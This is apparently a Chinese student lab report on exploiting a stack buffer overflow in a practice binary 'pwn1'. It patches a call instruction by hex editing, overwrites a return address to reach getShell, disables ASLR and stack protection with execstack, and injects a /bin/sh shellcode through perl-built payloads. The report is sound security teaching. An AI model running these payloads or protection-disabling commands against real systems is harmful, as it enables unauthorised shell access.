实践内容
- 任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 任务三:注入一个自己制作的shellcode并运行这段shellcode
实践过程
1.直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
- 将pwn1文件拷入20175232文件夹,并使用
objdump -d pwn1
对pwn1进行反编译
- 使用
vi pwn1
进入打开文件,使用esc
和:%!xxd
将显示模式切换为16进制模式 - 找到e8d7
- 将d7修改为c3
- 转换16进制为原格式
:%!xxd -r
,并用:wq
存盘退出vi - 修改完成后运行完应该生成$符号。
-
通过构造输入参数,造成BOF攻击,改变程序执行流
任务二的目的即是利用函数中的漏洞,构造攻击字符串,强制修改程序执行流。
- 知识点: 首先应该明白,栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。
- 通过构造输入参数,造成BOF攻击,改变程序执行流 1、分析代码,发现foo函数存在Buffer overflow漏洞 2、、进入gdb使用指令
gdb pwn1
然后r输入1111111122222222333333334444444455555555
并info r
观察寄存器中数值寻找关系: 发现eip寄存器中的值为0x35353535,因为在ASCII中30为0,所以35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是我们把8个5换成12345678 -
由于1234 那四个数最终会覆盖到堆栈上的返回地址,并且由之前的截图可以看到getshell的内存地址为0804847d,所以我们要用getshell的地址0x0804847d替换它;所以应将其反着输入放在
11111111222222223333333344444444
的后面,即11111111222222223333333344444444\x7d\x84\x04\x08
。(因为十六进制的缘故添加\x)4、输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将字符串用perl脚本语言写入input文件; 5、用xxd input
以16进制显示input文件,检查写入地址的正误; 6.确认无误后用(cat input;cat) | ./pwn1
来将改字符串作为可执行文件的输入。 - 使用指令
apt-get install execstack
安装execstack -
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 X more /proc/sys/kernel/randomize_va_space 2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space 0
-
采用第二种构造要注入的payload的方法:
retaddr+nop+shellcode
,使用命令perl -e 'print "A" x 32;print "\x04\03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。 -
打开两个终端,其中一个终端输入
(cat input_shellcode;cat) | ./pwn1
攻击buf,令一个终端输入ps -ef | grep pwn1
查看pwn1的进程号: -
gdb中首先
(gdb) disassemble foo
设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae
(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。 -
用gdb调试程序;使用
(gdb) info r esp
指令来查看寄存器的值(gdb) x/16x 0xffffd34c
以16进制查看esp寄存器地址开头的内存中的值,看到 1020304了,就是返回地址的位置,shellcode地址是 0xffffd350。 所以修改地址为perl -e 'print "\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接着使用xxd input_shellcode
指令来查看转换进制内容,并使用指令(cat input_shellcode;cat) | ./pwn1
来查看验证实验结果,至此,完成了构造payload进行bof攻击。 -
- 思考题:什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。并且这次实验就是利用缓冲区溢出漏洞,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的。
- 系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马,统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失,并且在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大。
- 实验收获与感想:
- 本次实验掌握了NOP, JNE, JE, JMP, CMP汇编指令的机器码的理论知识和一些具体的数值,并且还学习了反汇编指令,同时也学会了有时候乱码的文件是因为进制转化的问题。通过实验自己动手实现缓冲区溢出攻击, 对缓冲区溢出也有了更深的理解